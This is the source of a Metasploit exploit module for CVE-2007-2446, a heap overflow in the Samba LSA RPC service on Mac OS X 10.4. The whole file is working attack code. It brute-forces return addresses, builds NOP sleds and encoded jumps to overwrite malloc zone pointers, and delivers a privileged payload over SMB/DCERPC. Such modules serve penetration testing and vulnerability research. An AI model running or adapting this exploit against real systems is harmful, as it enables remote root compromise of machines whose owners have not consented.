Statistics
| Branch: | Tag: | Revision:

root / modules / exploits / osx / samba / lsa_transnames_heap.rb @ master

History | View | Annotate | Download (8.4 kB)

1
##
2
# $Id$
3
##
4

    
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# Framework web site for more information on licensing and terms of use.
9
# http://metasploit.com/framework/
10
##
11

    
12

    
13
require 'msf/core'
14

    
15

    
16
class Metasploit3 < Msf::Exploit::Remote
17
        Rank = AverageRanking
18

    
19
        include Msf::Exploit::Remote::DCERPC
20
        include Msf::Exploit::Remote::SMB
21
        include Msf::Exploit::Brute
22

    
23
        def initialize(info = {})
24
                super(update_info(info,
25
                        'Name'           => 'Samba lsa_io_trans_names Heap Overflow',
26
                        'Description'    => %q{
27
                                This module triggers a heap overflow in the LSA RPC service
28
                        of the Samba daemon. This module uses the szone_free() to overwrite
29
                        the size() or free() pointer in initial_malloc_zones structure.
30
                        },
31
                        'Author'         =>
32
                                [
33
                                        'ramon',
34
                                        'Adriano Lima <adriano[at]risesecurity.org>',
35
                                        'hdm'
36
                                ],
37
                        'License'        => MSF_LICENSE,
38
                        'Version'        => '$Revision$',
39
                        'References'     =>
40
                                [
41
                                        ['CVE', '2007-2446'],
42
                                        ['OSVDB', '34699'],
43
                                ],
44
                        'Privileged'     => true,
45
                        'Payload'        =>
46
                                {
47
                                        'Space'    => 1024,
48
                                },
49
                        'Platform'       => 'osx',
50
                        'DefaultOptions' =>
51
                                {
52
                                        'PrependSetresuid' => true,
53
                                },
54
                        'Targets'        =>
55
                                [
56
                                        ['Mac OS X 10.4.x x86 Samba 3.0.10',
57
                                        {
58
                                                'Platform'      => 'osx',
59
                                                'Arch'          => [ ARCH_X86 ],
60
                                                'Nops'          => 4 * 1024,
61
                                                'Bruteforce' =>
62
                                                        {
63
                                                                'Start' => { 'Ret' => 0x01818000 },
64
                                                                'Stop'  => { 'Ret' => 0x01830000 },
65
                                                                'Step'  => 3351,
66
                                                        },
67
                                        }
68
                                        ],
69
                                        ['Mac OS X 10.4.x PPC Samba 3.0.10',
70
                                        {
71
                                                'Platform'      => 'osx',
72
                                                'Arch'          => [ ARCH_PPC ],
73
                                                'Nops'          => 1600,
74
                                                'Bruteforce' =>
75
                                                        {
76
                                                                'Start' => { 'Ret' => 0x01813000 },
77
                                                                'Stop'  => { 'Ret' => 0x01830000 },
78
                                                                'Step'  => 796,
79
                                                        }
80
                                        }
81
                                        ],
82
                                        ['DEBUG',
83
                                        {
84
                                                'Platform'      => 'osx',
85
                                                'Arch'          => [ ARCH_X86 ],
86
                                                'Nops'          => 4 * 1024,
87
                                                'Bruteforce' =>
88
                                                        {
89
                                                                'Start' => { 'Ret' => 0xaabbccdd },
90
                                                                'Stop'  => { 'Ret' => 0xaabbccdd },
91
                                                                'Step'  => 0,
92
                                                        }
93
                                        }
94
                                        ],
95
                                ],
96
                        'DisclosureDate' => 'May 14 2007'
97
                        ))
98

    
99
                register_options(
100
                        [
101
                                OptString.new('SMBPIPE', [ true,  "The pipe name to use", 'LSARPC']),
102
                        ], self.class)
103

    
104
        end
105

    
106
        # Handle a strange byteswapping issue on PPC
107
        def ppc_byteswap(addr)
108
                data = [addr].pack('N')
109
                (data[1,1] + data[0,1] + data[3,1] + data[2,1]).unpack('N')[0]
110
        end
111

    
112
        def brute_exploit(target_addrs)
113

    
114
                if(not @nops)
115
                        if (target['Nops'] > 0)
116
                                print_status("Creating nop sled....")
117
                                @nops = make_nops(target['Nops'])
118
                        else
119
                                @nops = ''
120
                        end
121
                end
122

    
123
                print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['Ret'])
124

    
125
                pipe = datastore['SMBPIPE'].downcase
126

    
127
                print_status("Connecting to the SMB service...")
128
                connect()
129
                smb_login()
130

    
131
                datastore['DCERPC::fake_bind_multi'] = false
132

    
133
                handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])
134
                print_status("Binding to #{handle} ...")
135
                dcerpc_bind(handle)
136
                print_status("Bound to #{handle} ...")
137

    
138
                num_entries  = 256
139
                num_entries2 = 257
140

    
141
                #
142
                # First talloc_chunk
143
                # 16 bits align
144
                # 16 bits sid_name_use
145
                #     16 bits uni_str_len
146
                #     16 bits uni_max_len
147
                #     32 bits buffer
148
                # 32 bits domain_idx
149
                #
150
                buf = (('A' * 16) * num_entries)
151

    
152
                # Padding
153
                buf << 'A' * 4
154

    
155
                #
156
                # Use the szone_free() to overwrite the size() pointer in
157
                # initial_malloc_zones structure.
158
                #
159
                size_pointer = 0x1800008
160

    
161
                # Initial nops array
162
                nops = ''
163

    
164
                # x86
165
                if (target.arch.include?(ARCH_X86))
166

    
167
                        #
168
                        # We don't use the size() pointer anymore because it
169
                        # results in a unexpected behavior when smbd process
170
                        # is started by launchd.
171
                        #
172
                        free_pointer = 0x1800018
173
                        nop = "\x16"
174

    
175
                        #
176
                        # First talloc_chunk
177
                        # 16 bits align
178
                        # 16 bits sid_name_use
179
                        #     16 bits uni_str_len
180
                        #     16 bits uni_max_len
181
                        #     32 bits buffer
182
                        # 32 bits domain_idx
183
                        #
184

    
185
                        # First nop block
186
                        buf = ((nop * 16) * num_entries)
187

    
188
                        #
189
                        # A nop block of 0x16 (pushl %ss) and the address of
190
                        # 0x1800014 results in a jns instruction which when
191
                        # executed will jump over the address written eight
192
                        # bytes past our target address by szone_free() (the
193
                        # sign flag is zero at the moment our target address is
194
                        # executed).
195
                        #
196
                        # 0x357b ^ ( 0x1800014 ^ 0x16161616 ) = 0x17962379
197
                        #
198
                        # This is the output of the sequence of xor operations
199
                        #   0:   79 23                   jns    0x25
200
                        #   2:   96                      xchgl  %eax,%esi
201
                        #   3:   17                      popl   %ss
202
                        #   4:   16                      pushl  %ss
203
                        #   5:   16                      pushl  %ss
204
                        #   6:   16                      pushl  %ss
205
                        #   7:   16                      pushl  %ss
206
                        #   8:   14 00                   adcb   $0x0,%al
207
                        #   a:   80 01 16                addb   $0x16,(%ecx)
208
                        #
209
                        # This jump is needed because the ecx register does not
210
                        # point to a valid memory location in free() context
211
                        # (it is zero).
212
                        #
213
                        # The jump will hit our nop block which will be executed
214
                        # until it reaches the payload.
215
                        #
216

    
217
                        # Padding nops
218
                        buf << nop * 2
219

    
220
                        # Jump over the pointers
221
                        buf << "\xeb\x08"
222

    
223
                        # Pointers
224
                        buf << [target_addrs['Ret']].pack('V')
225
                        buf << [free_pointer - 4].pack('V')
226

    
227
                        #
228
                        # We expect to hit this nop block or the one before
229
                        # the pointers.
230
                        #
231
                        buf << nop * (3852 - 8 - payload.encoded.length)
232

    
233
                        # Payload
234
                        buf << payload.encoded
235

    
236
                        # Padding nops
237
                        buf << nop * 1024
238

    
239
                        stub = lsa_open_policy(dcerpc)
240

    
241
                        stub << NDR.long(0)            # num_entries
242
                        stub << NDR.long(0)            # ptr_sid_enum
243
                        stub << NDR.long(num_entries)  # num_entries
244
                        stub << NDR.long(0x20004)      # ptr_trans_names
245
                        stub << NDR.long(num_entries2) # num_entries2
246
                        stub << buf
247

    
248
                # PPC
249
                else
250

    
251
                        #
252
                        #  The first half of the nop sled is an XOR encoded branch
253
                        #  instruction. The second half is a series of unencoded nop
254
                        #  instructions. The result is:
255
                        #
256
                        #  > This is the decoded branch instruction
257
                        #  0x181c380:      bl      0x181c6a0
258
                        #
259
                        #  > The size pointer is written below this
260
                        #  0x181c384:      .long 0x1800004
261
                        #
262
                        #  > Followed by the encoded branch sled
263
                        #  0x181c388:      ba      0x180365c
264
                        #  [ ... ]
265
                        #
266
                        #  > The branch lands in the normal nop sled
267
                        #  0x181c6a0:      andi.   r17,r16,58162
268
                        #  [ ... ]
269
                        #
270
                        #  > Finally we reach our payload :-)
271
                        #
272

    
273
                        size_pointer = size_pointer - 4
274

    
275
                        sled = target['Nops']
276
                        jump = [ 0x357b ^ ( size_pointer ^ (0x48000001 + sled / 2 )) ].pack('N')
277
                        nops = (jump * (sled / 8)) + @nops[0, sled / 8]
278

    
279
                        addr_size = ppc_byteswap(size_pointer)
280
                        addr_ret  = ppc_byteswap(target_addrs['Ret'])
281

    
282
                        # This oddness is required for PPC
283
                        buf << [addr_size].pack('N')
284
                        buf << [addr_ret ].pack('N')[2,2]
285
                        buf << [addr_ret ].pack('N')
286

    
287
                        # Padding
288
                        buf << "A" * (256 - 10)
289

    
290
                        stub = lsa_open_policy(dcerpc)
291

    
292
                        stub << NDR.long(0)            # num_entries
293
                        stub << NDR.long(0)            # ptr_sid_enum
294
                        stub << NDR.long(num_entries)  # num_entries
295
                        stub << NDR.long(0x20004)      # ptr_trans_names
296
                        stub << NDR.long(num_entries2) # num_entries2
297
                        stub << buf
298
                        stub << nops
299
                        stub << payload.encoded
300
                end
301

    
302
                print_status("Calling the vulnerable function...")
303

    
304
                begin
305
                        # LsarLookupSids
306
                        dcerpc.call(0x0f, stub)
307
                rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError
308
                        print_status('Server did not respond, this is expected')
309
                rescue Rex::Proto::DCERPC::Exceptions::Fault
310
                        print_error('Server is most likely patched...')
311
                rescue => e
312
                        if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
313
                                print_status('Server disconnected, this is expected')
314
                        else
315
                                print_error("Error: #{e.class}: #{e}")
316
                        end
317
                end
318

    
319
                handler
320
                disconnect
321
        end
322

    
323
        def lsa_open_policy(dcerpc, server="\\")
324

    
325
                stubdata =
326
                        # Server
327
                        NDR.uwstring(server) +
328
                        # Object Attributes
329
                                NDR.long(24) + # SIZE
330
                                NDR.long(0)  + # LSPTR
331
                                NDR.long(0)  + # NAME
332
                                NDR.long(0)  + # ATTRS
333
                                NDR.long(0)  + # SEC DES
334
                                        # LSA QOS PTR
335
                                        NDR.long(1)  + # Referent
336
                                        NDR.long(12) + # Length
337
                                        NDR.long(2)  + # Impersonation
338
                                        NDR.long(1)  + # Context Tracking
339
                                        NDR.long(0)  + # Effective Only
340
                        # Access Mask
341
                        NDR.long(0x02000000)
342

    
343
                res = dcerpc.call(6, stubdata)
344

    
345
                dcerpc.last_response.stub_data[0,20]
346
        end
347

    
348
end